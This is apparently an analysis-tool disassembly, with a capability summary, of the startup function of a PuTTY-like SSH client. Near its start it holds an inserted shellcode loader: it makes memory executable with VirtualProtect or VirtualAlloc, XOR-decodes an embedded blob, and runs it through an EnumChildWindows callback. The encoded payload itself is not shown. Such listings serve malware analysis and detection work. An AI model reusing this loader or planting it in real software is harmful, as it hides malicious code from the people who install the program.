Function at 0x456080
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18ec
call fcn.00465fd0
mov eax, dword [0x4e080c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov dword [ebp - 0x18e0], eax
call fcn.0045cb90
mov eax, dword [ebp + 8]
mov dword [0x4e5410], eax
mov dword [0x4e5418], 0
mov dword [0x4e5438], 5
call fcn.0045e040
call fcn.00452120
call fcn.0045c690
push 0x18d6
lea eax, [ebp - 0x18dc]
push 0x4cf778
push eax
call fcn.00466ff0
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, eax
lea eax, [ebp - 0x18ec]
mov dword [ebp - 0x18ec], 0
push eax
push 0x40
push 0x18d5
push ebx
call esi
test eax, eax
jne 0x456152
push 4
push 0x1000
push 0x18d5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x18ec]
push eax
push 0x40
push 0x18d5
push edi
call esi
jmp 0x456154
mov edi, ebx
mov bl, byte [ebp - 0x18dc]
lea esi, [ebp - 0x18dc]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x18d5
nop dword [eax]
nop
mov al, byte [esi + ecx]
nop
nop
lea ecx, [ecx + 1]
xor al, bl
mov byte [ecx - 1], al
nop
sub edx, 1
jne 0x456170
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.004557d0
call fcn.0045d090
test eax, eax
jne 0x4561f7
push dword [0x4b9504]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Windows_refuses_to_report_a_version
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call eax
push esi
call fcn.0040e430
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00465cab
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x4e5364], 4
jb 0x45620b
jne 0x45621b
cmp dword [0x4e5370], 2
je 0x45621b
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x4e07b0], eax
call fcn.0045bbd0
call fcn.004589b0
call fcn.004032c0
push 0
mov dword [0x4e5424], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x456262
cmp eax, 1
je 0x456262
push dword [0x4b9504]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Failed_to_initialize_COM_subsystem
jmp 0x4561cd
mov eax, dword [0x4b9500]
push eax
mov dword [ebp - 0x18e4], 0
mov dword [0x4e5434], eax
call fcn.00412d30
add esp, 4
mov dword [0x4e5430], 0
test eax, eax
je 0x456295
mov eax, dword [eax + 0x4c]
mov dword [0x4e5430], eax
push 0
push 0x78
push dword [0x4e5424]
call fcn.00403560
push dword [0x4e5424]
push 0
call fcn.00412d60
mov ebx, dword [ebp - 0x18e0]
add esp, 0x14
mov edi, ebx
mov al, byte [ebx]
test al, al
je 0x4562da
movsx eax, al
push eax
call fcn.0048a316
add esp, 4
test eax, eax
je 0x4562da
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4562c2
mov al, byte [edi]
cmp al, 0x26
jne 0x456313
cmp byte [edi + 1], 0x52
jne 0x45638c
mov al, byte [edi + 2]
lea esi, [edi + 2]
test al, al
je 0x456300
cmp al, 0x40
je 0x456300
cmp al, 0x26
jne 0x45638c
call fcn.00461010
mov dword [0x4e53f4], 1
mov edi, esi
mov al, byte [esi]
cmp al, 0x40
jne 0x456384
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x456320
sub esi, ecx
cmp esi, 1
jle 0x456348
nop
movsx eax, byte [edi + esi - 1]
push eax
call fcn.0048a316
add esp, 4
test eax, eax
je 0x456348
dec esi
cmp esi, 1
jg 0x456330
mov byte [esi + edi], 0
lea eax, [edi + 1]
push dword [0x4e5424]
push eax
call fcn.00412d60
push dword [0x4e5424]
call fcn.0040dc00
add esp, 0xc
test eax, eax
jne 0x45637a
call fcn.00455810
test eax, eax
je 0x45670d
mov ebx, 1
jmp 0x4565fc
cmp al, 0x26
jne 0x456412
lea eax, [ebp - 0x18e8]
push eax
lea eax, [ebp - 0x18e0]
push eax
lea eax, [edi + 1]
push str._p:_u
push eax
call fcn.00411d60
add esp, 0x10
cmp eax, 2
jne 0x456400
push dword [ebp - 0x18e8]
push 0
push 0
push 4
push dword [ebp - 0x18e0]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x456400
push dword [ebp - 0x18e8]
push esi
push dword [0x4e5424]
call fcn.00402e10
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x18e0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
jmp 0x4565fc
call fcn.00455810
test eax, eax
je 0x456706
jmp 0x45637a
test al, al
je 0x4565fa
push 0
lea eax, [ebp - 0x18e8]
push eax
lea eax, [ebp - 0x18e0]
push eax
push ebx
call fcn.00463eb0
mov ecx, dword [ebp - 0x18e0]
add esp, 0x10
xor ebx, ebx
test ecx, ecx
jle 0x4565fa
mov eax, dword [ebp - 0x18e8]
lea edi, [ebx + 1]
mov esi, dword [eax + ebx*4]
cmp edi, ecx
jge 0x456459
mov eax, dword [eax + ebx*4 + 4]
jmp 0x45645b
xor eax, eax
push dword [0x4e5424]
push 1
push eax
push esi
call fcn.00401440
add esp, 0x10
cmp eax, 0xfffffffe
je 0x456780
cmp eax, 2
jne 0x456482
mov ebx, edi
jmp 0x4565eb
cmp eax, 1
je 0x4565eb
mov ecx, str._cleanup
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4564b2
test dl, dl
je 0x4564ae
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4564b2
add eax, 2
add ecx, 2
test dl, dl
jne 0x456492
xor eax, eax
jmp 0x4564b7
sbb eax, eax
or eax, 1
test eax, eax
je 0x45672b
mov ecx, str._pgpfp
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4564e6
test dl, dl
je 0x4564e2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4564e6
add eax, 2
add ecx, 2
test dl, dl
jne 0x4564c6
xor eax, eax
jmp 0x4564eb
sbb eax, eax
or eax, 1
test eax, eax
je 0x45671f
cmp byte [esi], 0x2d
je 0x456714
cmp dword [ebp - 0x18e4], 0
mov edi, esi
je 0x456522
push dword [0x4e5424]
push 1
push esi
push 0x4b96d8
call fcn.00401440
add esp, 0x10
jmp 0x4565eb
push 7
push str.telnet:
push esi
call fcn.004725c0
add esp, 0xc
test eax, eax
jne 0x4565a5
add esi, 7
cmp byte [esi], 0x2f
jne 0x456547
cmp byte [esi + 1], 0x2f
jne 0x456547
add esi, 2
push 1
push 2
push dword [0x4e5424]
call fcn.00403560
push 0x4d1248
push esi
call fcn.0040e130
mov cl, byte [eax + esi]
add eax, esi
add esp, 0x14
test cl, cl
je 0x456571
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x456590
push eax
call fcn.00472551
push eax
push 1
push dword [0x4e5424]
call fcn.00403560
add esp, 0x10
push esi
jmp 0x4565d1
push 0xffffffffffffffff
push 1
push dword [0x4e5424]
call fcn.00403560
add esp, 0xc
push esi
jmp 0x4565d1
mov al, byte [esi]
test al, al
je 0x4565d0
nop dword [eax + eax]
movsx eax, al
push eax
call fcn.0048a316
add esp, 4
test eax, eax
jne 0x4565c8
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x4565b0
cmp byte [esi], 0
je 0x4565d0
mov byte [esi], 0
push edi
push 0
push dword [0x4e5424]
call fcn.004035c0
mov dword [ebp - 0x18e4], 1
add esp, 0xc
mov ecx, dword [ebp - 0x18e0]
inc ebx
cmp ebx, ecx
jl 0x456443
xor ebx, ebx
push dword [0x4e5424]
call fcn.00402b30
add esp, 4
cmp dword [0x4e542c], 0
jne 0x456620
cmp dword [ebp - 0x18e4], 0
jne 0x456620
test ebx, ebx
je 0x456632
push dword [0x4e5424]
call fcn.0040dc00
add esp, 4
test eax, eax
jne 0x45663f
call fcn.00455810
test eax, eax
je 0x45670d
push 0
push dword [0x4e5424]
call fcn.00403120
push eax
call fcn.0040ddc0
mov edi, eax
push 0x4bf978
push edi
call fcn.0048c360
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x456693
push 0x40
push esi
call fcn.00467c50
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x456693
push esi
mov byte [ebx], 0
push 0x34
push dword [0x4e5424]
call fcn.004035c0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.0040e0b0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4566b8
lea ecx, [ebx + 1]
push 0x3a
push ecx
call fcn.0040e0b0
add esp, 8
test eax, eax
jne 0x4566b8
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x4566d3
cmp al, 0x20
je 0x4566cb
cmp al, 9
je 0x4566cb
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x4566c0
push edi
mov byte [ecx], 0
push 0
push dword [0x4e5424]
call fcn.004035c0
push edi
call fcn.0040e430
mov ecx, dword [ebp - 4]
add esp, 0x10
mov eax, dword [ebp - 0x18e0]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00465cab
mov esp, ebp
pop ebp
ret 0x10
push 0
call fcn.00456a70
push 0
call fcn.00456a70
push esi
push str.unknown_option___s_
call fcn.00456c10
call fcn.00463dd0
push 1
call fcn.004966da
push dword [0x4b9504]
push str.This_procedure_will_remove_ALL_Registry_entries_nassociated_with__s__and_will_also_remove_nthe_random_seed_file.__This_only_affects_the_ncurrently_logged_in_user.__n_nTHIS_PROCESS_WILL_DESTROY_YOUR_SAVED_SESSIONS._nAre_you_really_sure_you_want_to_continue_
call fcn.0040dda0
push dword [0x4b9504]
mov esi, eax
push str._s_Warning
call fcn.0040dda0
push 4
mov edi, eax
push 0x134
push edi
push esi
call fcn.00463cb0
add esp, 0x20
cmp eax, 6
jne 0x45676a
call fcn.00461e10
push esi
call fcn.0040e430
push edi
call fcn.0040e430
add esp, 8
push 0
call fcn.004966da
push esi
push str.option___s__requires_an_argument
call fcn.00456c10
int3